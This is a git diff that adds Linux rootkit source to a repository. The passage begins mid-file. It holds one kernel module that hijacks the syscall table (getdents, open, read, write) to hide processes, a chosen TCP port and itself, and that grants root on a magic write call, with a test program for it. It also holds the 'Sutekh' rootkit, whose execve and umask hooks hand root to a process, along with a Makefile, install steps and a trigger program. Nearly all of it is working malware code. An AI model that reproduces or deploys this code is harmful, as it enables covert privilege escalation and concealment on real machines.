d->d_reclen; + } + } + } + + // copy from kernel to userspace + if (!access_ok(VERIFY_WRITE,dirp,result)) + return EFAULT; + if (copy_to_user(dirp,kdirp,result)) + return EFAULT; + kfree(kdirp); + + // return number of bytes read + return result; +} + +// replaces getdents original address with hacked routine and saves the original address of getdents +void hack_getdents(void) +{ + orig_getdents = syscall_table[__NR_getdents]; + syscall_table[__NR_getdents] = hacked_getdents; +} + +// restores the original address of getdents +void restore_getdents(void) +{ + syscall_table[__NR_getdents] = orig_getdents; +} + +// hijacked open function +asmlinkage int new_open(const char* path_name, int flags) { + // sets the hijack flag indicating that we should hide the TCP port + if (strstr(path_name, "tcp") != NULL && strstr(path_name, "tcp6") == NULL) { + printk("path name is: %s \n", path_name); + TCP_fd = (*original_open)(path_name, flags); + return TCP_fd; + } + return (*original_open)(path_name, flags); +} + +// hijacked read function +asmlinkage long new_read(int fd, char __user *buf, size_t count) { + long ret, temp; + long i = 0; + char * kernel_buf; + + ret = original_read(fd, buf, count); + if (fd != TCP_fd) + return ret; + kernel_buf = kmalloc(count, GFP_KERNEL); + // Kernel Problem + if (!kernel_buf || copy_from_user(kernel_buf, buf, count)) { + printk("FAILLLLLLED KERNEL PROBLEM"); + return ret; + } + // ignoring the first line of the file + i += TCP_LINE_SIZE; + + for (; i < ret; i = i + TCP_LINE_SIZE) { + int j = 0; + int val = 0; + for (; j < 4; j++) { + if (kernel_buf[i + 15 + j] <= 57) + val = val + (kernel_buf[i + 15 + j] - 48) * (1 << (4 * (3 - j))); + else + val = val + (kernel_buf[i + 15 + j] - 55) * (1 << (4 * (3 - j))); + } + if (val != PORT_TO_HIDE) + continue; + temp = i; + for (; temp < ret - TCP_LINE_SIZE; temp++) { + kernel_buf[temp] = kernel_buf[temp + TCP_LINE_SIZE]; + } + for (temp = ret - (TCP_LINE_SIZE + 1); temp < ret; temp++) { + kernel_buf[temp] = '\0'; + } + count = count - TCP_LINE_SIZE; + } + // Kernel Problem + if (copy_to_user(buf, kernel_buf, count)) { + printk("FAILLLLLLED KERNEL PROBLEM"); + } + kfree(kernel_buf); + return ret; +} + +/* PROC FILE FUNCTIONS */ +int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) { + printk("DONT YOU EVER TRY TO READ THIS FILE OR I AM GOING TO DESTROY YOUR MOST SECRET DREAMS"); + return 0; +} + +int procfile_write(struct file *file, const char *buf, unsigned long count, void *data) { + printk("writing to the proc file\n"); + char * kernel_buf = kmalloc(count, GFP_KERNEL); + bool temp = 0; + unsigned long j = 0; + int c; + + split_buffer(buf); + if (!kernel_buf || copy_from_user(kernel_buf, buf, count)) { + printk("FAILLLLLLED KERNEL PROBLEM\n"); + return count; + } + + if (strncmp(HIDE_PROC_CMD, buff1, 9) == 0) + { + proc_pid = str_to_lng(buff2); + printk("HIDING PID %lld\n", proc_pid); + if(!proc_hidden){ + disable_write_protection(); + hack_getdents(); + enable_write_protection(); + proc_hidden = true; + } + return count; + } + + else if (strncmp(SHOW_PROC_CMD, buff1, 9) == 0) + { + proc_pid = str_to_lng(buff2); + printk("SHOWING PID %lld\n", proc_pid); + if(proc_hidden){ + disable_write_protection(); + restore_getdents(); + enable_write_protection(); + proc_hidden = false; + } + return count; + } + + if (kernel_buf[0] == 'h' && kernel_buf[1] == 'm') { + printk("hiding module\n"); + hide_module(); + } + + if (kernel_buf[0] == 's' && kernel_buf[1] == 'm') { + printk("showing module\n"); + show_module(); + } + // hp port number decimal value + if (kernel_buf[0] == 'h' && kernel_buf[1] == 'p') { + PORT_TO_HIDE = 0; + for (j = 3; j < count ; j++) { + c = kernel_buf[j] - '0'; + if (c >= 0 && c <= 9) + temp = true; + if (!temp) + break; + PORT_TO_HIDE = PORT_TO_HIDE * 10; + PORT_TO_HIDE = PORT_TO_HIDE + c; + temp = false; + } + printk("NEW PORT TO HIDE IS: %d\n ", PORT_TO_HIDE); + } + printk("finished writing to the proc file\n"); + return count; +} + +static const struct file_operations proc_file_fops = { + .owner = THIS_MODULE, + .read = procfile_read, + .write = procfile_write, +}; + +/* END OF PROCFILE FUNCTIONS */ + +unsigned long **find(void) { + unsigned long **sctable; + unsigned long int i = START_MEM; + while ( i < END_MEM) { + sctable = (unsigned long **)i; + if ( sctable[__NR_close] == (unsigned long *) sys_close) { + return &sctable[0]; + } + i += sizeof(void *); + } + return NULL; +} + + +// the method that gives the process root privileges +void set_root(void) { + struct user_namespace *ns = current_user_ns(); + struct cred *new_cred; + + kuid_t kuid = make_kuid(ns, 0); + kgid_t kgid = make_kgid(ns, 0); + kuid_t rootUid; + + if(!uid_valid(kuid)) { + printk("Not Valid..\n"); + } + + rootUid.val = 0; + + new_cred = prepare_creds(); + + if(new_cred != NULL) { + if(!uid_eq(new_cred ->uid, rootUid)){ + printk("\nProcess is not root\n"); + } else { + printk("\nProcess is already root\n"); + } + + new_cred ->uid = kuid; + new_cred ->gid = kgid; + new_cred ->euid = kuid; + new_cred ->egid = kgid; + new_cred ->suid = kuid; + new_cred ->sgid = kgid; + new_cred ->fsuid = kuid; + new_cred ->fsgid = kgid; + + commit_creds(new_cred ); + + if(uid_eq(new_cred ->uid, rootUid)){ + printk("\nProcess is now root\n"); + } else { + printk("\nProcess is not root\n"); + } + } else { + abort_creds(new_cred ); + printk("Cannot get credentials of running process"); + } +} + +// the new modified write function that will call the method that gives root access. +asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) { + + // printk(KERN_ALERT "WRITE HIJACKED"); + if(count == -1){ + set_root(); + return -1; + } + return (*original_write)(fd, buf, count); +} + +// the method that hijack the write syscall +void hijack_write_syscall(void) { + + printk(KERN_ALERT "\nHIJACK INIT\n"); + + disable_write_protection(); + + original_write = (void *)syscall_table[__NR_write]; + printk("\n before write hijacking: %llx\n", (unsigned long long) original_write); + + syscall_table[__NR_write] = (unsigned long long) new_write; + modified_write = (void *)syscall_table[__NR_write]; + printk("\n after write hijacking %llx\n", (unsigned long long) modified_write); + + enable_write_protection(); +} + +// the method that restore the original write syscall +void restore_hijacked_write_syscall(void) { + + disable_write_protection(); + syscall_table[__NR_write] = (unsigned long long) original_write; + enable_write_protection(); + printk("\nHijacked write Syscall is Restored\n"); + +} + +static int init(void) { + // hide_module(); + printk("\nModule starting...\n"); + syscall_table = (unsigned long long*) find(); + if ( syscall_table != NULL ) { + printk("Syscall table found at %llx\n", (unsigned long long) syscall_table); + } else { + printk("Syscall table not found!\n"); + } + + hijack_write_syscall(); + + original_read = (void *)syscall_table[__NR_read]; + original_open = (void *)syscall_table[__NR_open]; + disable_write_protection(); + syscall_table[__NR_open] = new_open; + syscall_table[__NR_read] = new_read; + enable_write_protection(); + + proc_file = proc_create( PROC_FILE_NAME, 0666, NULL, &proc_file_fops); + if (proc_file == NULL) { + remove_proc_entry(PROC_FILE_NAME, NULL); + printk("ERROR ALLOCATING FILE"); + return -ENOMEM; + } + printk("proc file created\n"); + + return 0; +} + +static void exit_(void) { + disable_write_protection(); + syscall_table[__NR_open] = original_open; + syscall_table[__NR_read] = original_read; + enable_write_protection(); + printk("Module ending\n"); + remove_proc_entry(PROC_FILE_NAME, NULL); + restore_hijacked_write_syscall(); + return; +} + +module_init(init); +module_exit(exit_); diff --git a/Linux/Rootkits/Self Titled Project 4/testRootPart.c b/Linux/Rootkits/Self Titled Project 4/testRootPart.c new file mode 100644 index 0000000..c832269 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/testRootPart.c @@ -0,0 +1,29 @@ +#include +#include +#include +#include +#include +#include + +int main() { + + int fd_r=0,fd_w=0; + int w_ret=100; + fd_r = open("reader.txt", O_RDONLY); + if(fd_r == -1) + perror("fd_r open"); + + fd_w = open("writer.txt",O_CREAT,S_IRWXU); + if(fd_w == -1) + perror("fd_w open"); + + char *buf = (char *)malloc(50); + + printf("My process ID before calling write: %d\n", getuid()); + + int n = write(fd_w,buf, -1); + + printf("My process ID after calling write: %d\n", getuid()); + + return 0; +} \ No newline at end of file diff --git a/Linux/Rootkits/Sutekh/Makefile b/Linux/Rootkits/Sutekh/Makefile new file mode 100644 index 0000000..b9ceb89 --- /dev/null +++ b/Linux/Rootkits/Sutekh/Makefile @@ -0,0 +1,7 @@ +obj-m += sutekh.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/Linux/Rootkits/Sutekh/README.TXT b/Linux/Rootkits/Sutekh/README.TXT new file mode 100644 index 0000000..067025a --- /dev/null +++ b/Linux/Rootkits/Sutekh/README.TXT @@ -0,0 +1,31 @@ +# Sutekh +An example rootkit that gives a userland process root permissions +Tested on Linux kernel [4.19.62] & [4.15.0] + +[INSTALL] +1. Install latest Linux headers for your kernel. Example (debian): [apt install linux-headers-$(uname -r)] +2. $ git clone https://github.com/PinkP4nther/Sutekh +3. $ cd Sutekh && make +4. $ gcc rootswitch.c -o rs +5. $ sudo insmod sutekh.ko + +[Run] +$ ./rs + +[Output example] +[pinky@mememachine Sutekh]$ ./rs +[!] Switch hit! +[mememachine Sutekh]# id +uid=0(root) gid=0(root) groups=0(root) +[mememachine Sutekh]# exit + +[Remove] +sudo rmmod sutekh + +[Note] +dmesg for kernel debug output! + +[ 2217.810776] [?] SCT: [0xffffffff96400180] + [?] EXECVE: [0xffffffffc065b030] + [?] UMASK: [0xffffffffc065b000] +[ 2223.379218] [+] Giving r00t! diff --git a/Linux/Rootkits/Sutekh/rootswitch.c b/Linux/Rootkits/Sutekh/rootswitch.c new file mode 100644 index 0000000..44d0798 --- /dev/null +++ b/Linux/Rootkits/Sutekh/rootswitch.c @@ -0,0 +1,11 @@ +#include +#include + +int main() +{ + system("umask 22"); + printf("[!] Switch hit!\n"); + system("su"); + system("umask 22"); + return 0; +} diff --git a/Linux/Rootkits/Sutekh/sutekh.c b/Linux/Rootkits/Sutekh/sutekh.c new file mode 100644 index 0000000..2001fc6 --- /dev/null +++ b/Linux/Rootkits/Sutekh/sutekh.c @@ -0,0 +1,142 @@ +/* An example rootkit that gives root permissions to a userland process */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MA "@Pink_P4nther" +#define MD "Example Rootkit" +#define ML "GPL" +#define MV "1.1" + +/* Enable root escalation flag */ +int ref = 0; + +/* Syscall table address */ +void **sct_address; + +/* Set sys_call_table address to sct_address */ +void set_sct_addr(void); + +/* Execve syscall hook */ +asmlinkage int (*origin_execvecall) (const char *filename, const char *const argv[], const char *const envp[]); + +/* Mal execve hook syscall */ +asmlinkage int mal_execve(const char *filename, const char *const argv[], const char *const envp[]) +{ + if (ref == 1){ + printk(KERN_INFO "[+] Giving r00t!"); + + /* Create process cred struct */ + struct cred *np; + /* Create uid struct */ + kuid_t nuid; + /* Set uid struct value to 0 */ + nuid.val = 0; + + /* Prepares new set of credentials for task_struct of current process */ + np = prepare_creds(); + /* Set uid of new cred struct to 0 */ + np->uid = nuid; + /* Set euid of new cred struct to 0 */ + np->euid = nuid; + /* Commit cred to task_struct of process */ + commit_creds(np); + } + /* Call original execve syscall */ + return origin_execvecall(filename,argv,envp); +} + +/* Umask syscall hook */ +asmlinkage int (*origin_umaskcall) (mode_t mask); + +/* Mal umask hook syscall */ +asmlinkage int mal_umask(mode_t mask){ + if (ref == 0){ + /* Set enable root escalation flag */ + ref = 1; + } else{ + /* Unset enable root escalation flag */ + ref = 0; + } + /* Call original umask syscall */ + return origin_umaskcall(mask); +} + +/* Set SCT Address */ +void set_sct_addr(void) +{ + /* Lookup address for sys_call_table and set sct_address to it */ + sct_address = (void*)kallsyms_lookup_name("sys_call_table"); +} + +/* Make SCT writeable */ +int sct_w(unsigned long sct_addr) +{ + unsigned int level; + pte_t *pte = lookup_address(sct_addr,&level); + if (pte->pte &~_PAGE_RW) + { + pte->pte |=_PAGE_RW; + } + return 0; +} + +/* Make SCT write protected */ +int sct_xw(unsigned long sct_addr) +{ + unsigned int level; + pte_t *pte = lookup_address(sct_addr, &level); + pte->pte = pte->pte &~_PAGE_RW; + return 0; +} + +/* Loads LKM */ +static int __init hload(void) +{ + /* Set syscall table address */ + set_sct_addr(); + /* Set pointer to original syscalls */ + origin_execvecall = sct_address[__NR_execve]; + origin_umaskcall = sct_address[__NR_umask]; + /* Make SCT writeable */ + sct_w((unsigned long)sct_address); + + /* Hook execve and umask syscalls */ + sct_address[__NR_execve] = mal_execve; + sct_address[__NR_umask] = mal_umask; + /* Set SCT write protected */ + sct_xw((unsigned long)sct_address); + + printk(KERN_INFO "[?] SCT: [0x%llx]\n[?] EXECVE: [0x%llx]\n[?] UMASK: [0x%llx]",sct_address,sct_address[__NR_execve],sct_address[__NR_umask]); + + return 0; +} + +/* Unloads LKM */ +static void __exit hunload(void) +{ + /* Rewrite the original syscall addresses back into the SCT page */ + sct_w((unsigned long )sct_address); + sct_address[__NR_execve] = origin_execvecall; + sct_address[__NR_umask] = origin_umaskcall; + + /* Make SCT page write protected */ + sct_xw((unsigned long)sct_address); +} + +module_init(hload); +module_exit(hunload); + +MODULE_LICENSE(ML); +MODULE_AUTHOR(MA); +MODULE_DESCRIPTION(MD); +MODULE_VERSION(MV);